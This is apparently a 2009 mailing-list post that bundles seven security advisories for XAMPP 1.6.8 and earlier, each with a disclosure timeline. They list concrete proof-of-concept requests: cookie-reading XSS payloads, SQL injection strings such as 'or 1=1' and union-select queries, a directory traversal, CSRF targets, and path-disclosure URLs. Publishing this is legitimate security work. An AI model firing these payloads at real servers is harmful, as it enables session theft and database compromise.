XAMPP Cross Site Request Forgery / Cross Site Scripting / Path Disclosure / SQL Injection / Traversal

`I want to warn you about multiple vulnerabilities in XAMPP. I disclosed at  
my site multiple vulnerabilities in XAMPP in 2009 (in total 7 advisories).  
And informed developers about them.  
  
Also I published these vulnerabilities at securityvulns.ru  
(securityvulns.com). And now I'm informing you about them. I will combine 7  
advisories in 4 letters to mailing list.  
  
-----------------------------  
Advisory #1  
-----------------------------  
Cross-Site Scripting vulnerability in XAMPP  
-----------------------------  
URL: http://websecurity.com.ua/3220/  
-----------------------------  
Timeline:  
  
09.12.2008 - found the vulnerability.  
10.06.2009 - disclosed at my site.  
11.06.2009 - informed developers.  
-----------------------------  
Details:  
  
This is Cross-Site Scripting vulnerability.  
  
XSS:  
  
Vulnerability in xamppsecurity.php.  
  
http://websecurity.com.ua/uploads/2009/XAMPP%20XSS.html  
  
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next  
versions (including last version XAMPP 1.7.1).  
  
-----------------------------  
Advisory #2  
-----------------------------  
Multiple vulnerabilities in XAMPP  
-----------------------------  
URL: http://websecurity.com.ua/3230/  
-----------------------------  
Timeline:  
  
11.06.2009 - found the vulnerabilities.  
13.06.2009 - announced at my site.  
14.06.2009 - informed developers.  
16.07.2009 - disclosed at my site.  
-----------------------------  
Details:  
  
These are Predictable Resource Location, Information Leakage, Cross-Site  
Scripting and Directory Traversal vulnerabilities.  
  
Predictable Resource Location:  
  
There are standard paths to resources in XAMPP, which can be used for  
attack.  
  
http://site/security/ - security service of XAMPP  
http://site/xampp/ - admin panel of XAMPP  
http://site/phpmyadmin/ - PhpMyAdmin  
http://site/webalizer/ - Webalizer  
  
Information Leakage:  
  
http://site/webalizer/  
  
Access to Webalizer is not restricted and taking into account that path to  
the resource is known, anyone can gain access to statistic of the site,  
which can lead to considerable information leakage, including about  
different resources at the site.  
  
Information Leakage:  
  
http://site/security/  
  
Security service of XAMPP (XAMPP SECURITY [Security Check 1.0]), if access  
to it is opened, leads to information leakage.  
  
It shows information about version of PHP and about status of components of  
XAMPP, particularly PhpMyAdmin.  
  
XSS:  
  
http://site/xampp/showcode.php?TEXT[global-showcode]=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
Directory Traversal:  
  
http://site/xampp/showcode.php?showcode=1&file=../index.php  
  
Works with register globals on.  
  
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next  
versions (including last version XAMPP 1.7.1).  
  
-----------------------------  
Advisory #3  
-----------------------------  
Vulnerabilities in XAMPP  
-----------------------------  
URL: http://websecurity.com.ua/3233/  
-----------------------------  
Timeline:  
  
11.06.2009 - found the vulnerabilities.  
15.06.2009 - announced at my site.  
16.06.2009 - informed developers.  
21.07.2009 - disclosed at my site.  
-----------------------------  
Details:  
  
These are Insufficient Authentication, Cross-Site Scripting and SQL  
Injection vulnerabilities.  
  
Insufficient Authentication:  
  
http://site/xampp/  
  
There are such sites, where access to admin panel of XAMPP is not restricted  
by password.  
  
XSS:  
  
POST query at page http://site/xampp/adodb.php  
  
"><script>alert(document.cookie)</script>  
In fields: Database server, Host, Username, Password, Current database,  
Selected table.  
  
SQL Injection:  
  
Attack is conducted during access to admin panel of XAMPP - via  
above-mentioned Insufficient Authorization vulnerability or via Insufficient  
Authorization vulnerability which was found earlier, which I wrote about  
(http://websecurity.com.ua/3220/).  
  
At page http://site/xampp/adodb.php  
  
cds where 1=0 union select version(),0,0,0  
In field Selected table.  
  
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next  
versions (including last version XAMPP 1.7.1).  
  
-----------------------------  
Advisory #4  
-----------------------------  
Vulnerabilities in XAMPP  
-----------------------------  
URL: http://websecurity.com.ua/3250/  
-----------------------------  
Timeline:  
  
11.06.2009 - found the vulnerabilities.  
20.06.2009 - announced at my site.  
21.06.2009 - informed developers.  
25.07.2009 - disclosed at my site.  
-----------------------------  
Details:  
  
These are Information Leakage, Cross-Site Request Forgery and SQL Injection  
vulnerabilities.  
  
Information Leakage:  
  
http://site/xampp/phpinfo.php  
  
During access to admin panel (via Insufficient Authorization  
vulnerabilities) it's possible to gain a lot of information about the  
system.  
  
CSRF:  
  
http://site/xampp/cds.php  
  
It's possible to delete or add data in test table (as via CSRF, and as via  
Insufficient Authorization vulnerabilities). And also to conduct SQL  
Injection via CSRF attacks.  
  
SQL Injection:  
  
http://site/xampp/cds.php?action=del&id=-1%20or%201=1  
  
http://site/xampp/cds.php?interpret=1&titel=1&jahr=1),(version(),1,1  
  
http://site/xampp/cds.php?interpret=1&titel=',1,1),(version(),1,1)/* (mq  
off)  
  
http://site/xampp/cds.php?titel=1&interpret=',1),(version(),1,1)/** (mq off)  
  
Attack is possible during access to admin panel (via Insufficient  
Authorization), or via CSRF.  
  
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next  
versions (including last version XAMPP 1.7.1).  
  
  
-----------------------------  
Advisory #5  
-----------------------------  
Vulnerabilities in XAMPP  
-----------------------------  
URL: http://websecurity.com.ua/3257/  
-----------------------------  
Timeline:  
  
23.06.2009 - found the vulnerabilities.  
23.06.2009 - announced at my site.  
24.06.2009 - informed developers.  
28.07.2009 - disclosed at my site.  
-----------------------------  
Details:  
  
These are Cross-Site Scripting and Insufficient Anti-automation  
vulnerabilities.  
  
XSS:  
  
http://site/xampp/iart.php?text=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
Insufficient Anti-automation:  
  
http://site/xampp/mailform.php  
  
During access to admin panel and if SMTP Service (Mercury Mail) is turned on  
it's possible to send spam due to lack of protection from automated  
requests.  
  
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next  
versions (including last version XAMPP 1.7.1).  
  
-----------------------------  
Advisory #6  
-----------------------------  
New vulnerabilities in XAMPP  
-----------------------------  
URL: http://websecurity.com.ua/3264/  
-----------------------------  
Timeline:  
  
23.06.2009 - found the vulnerabilities.  
25.06.2009 - announced at my site.  
26.06.2009 - informed developers.  
01.08.2009 - disclosed at my site.  
-----------------------------  
Details:  
  
These are Cross-Site Scripting, Cross-Site Request Forgery, SQL Injection  
and Full path disclosure vulnerabilities.  
  
XSS:  
  
http://site/xampp/ming.php?text=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
CSRF:  
  
http://site/xampp/phonebook.php  
  
It's possible to delete or add data in test table (as via CSRF, and as via  
Insufficient Authorization vulnerabilities). And also to conduct SQL  
Injection via CSRF attacks.  
  
XSS (Persistent):  
  
http://site/xampp/phonebook.php?lastname=%3Cscript%3Ealert(document.cookie)%3C/script%3E&firstname=1  
  
http://site/xampp/phonebook.php?firstname=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
http://site/xampp/phonebook.php?firstname=1&phone=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
SQL Injection:  
  
http://site/xampp/phonebook.php?action=del&id=-1%20or%201=1  
  
http://site/xampp/phonebook.php?lastname=',version())/*&firstname=1 (mq off)  
  
http://site/xampp/phonebook.php?firstname=',version(),1)/* (mq off)  
  
http://site/xampp/phonebook.php?firstname=1&phone='),(version(),1,'1 (mq  
off)  
  
Attack is possible during access to admin panel (via Insufficient  
Authorization), or via CSRF.  
  
Full path disclosure:  
  
http://site/xampp/phonebook.php?lastname='&firstname=1  
  
http://site/xampp/phonebook.php?firstname='  
  
http://site/xampp/phonebook.php?firstname=1&phone='  
  
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next  
versions (including last version XAMPP 1.7.1).  
  
-----------------------------  
Advisory #7  
-----------------------------  
CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP  
-----------------------------  
URL: http://websecurity.com.ua/3285/  
-----------------------------  
Timeline:  
  
27.06.2009 - found the vulnerabilities.  
01.07.2009 - announced at my site.  
02.07.2009 - informed developers.  
08.08.2009 - disclosed at my site.  
-----------------------------  
Details:  
  
These are Cross-Site Request Forgery, SQL Injection and Full path disclosure  
vulnerabilities.  
  
CSRF:  
  
http://site/xampp/cds-fpdf.php  
  
It's possible to delete or add data in test table (as via CSRF, and as via  
Insufficient Authorization vulnerabilities). And also to conduct SQL  
Injection via CSRF attacks.  
  
SQL Injection:  
  
http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register globals  
on)  
  
http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1  
  
http://site/xampp/cds-fpdf.php?interpret=1&titel=',1,1),(version(),1,1)/*  
(mq off)  
  
http://site/xampp/cds-fpdf.php?titel=1&interpret=',1),(version(),1,1)/* (mq  
off)  
  
Attack is possible during access to admin panel (via Insufficient  
Authorization), or via CSRF.  
  
Full path disclosure:  
  
http://site/xampp/external/ps/draw.php  
http://site/xampp/external/ps/hyperlinks.php  
http://site/xampp/external/ps/image.php  
http://site/xampp/external/ps/overprint.php  
http://site/xampp/external/ps/ps.php?submit=OK  
http://site/xampp/external/ps/shading.php  
http://site/xampp/external/ps/spotcolor.php  
http://site/xampp/external/ps/text.php  
http://site/xampp/special/ps/draw.php  
http://site/xampp/special/ps/hyperlinks.php  
http://site/xampp/special/ps/image.php  
http://site/xampp/special/ps/overprint.php  
http://site/xampp/special/ps/ps.php?submit=OK  
http://site/xampp/special/ps/shading.php  
http://site/xampp/special/ps/spotcolor.php  
http://site/xampp/special/ps/text.php  
  
Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next  
versions (including last version XAMPP 1.7.1).  
  
-----------------------------  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua  
`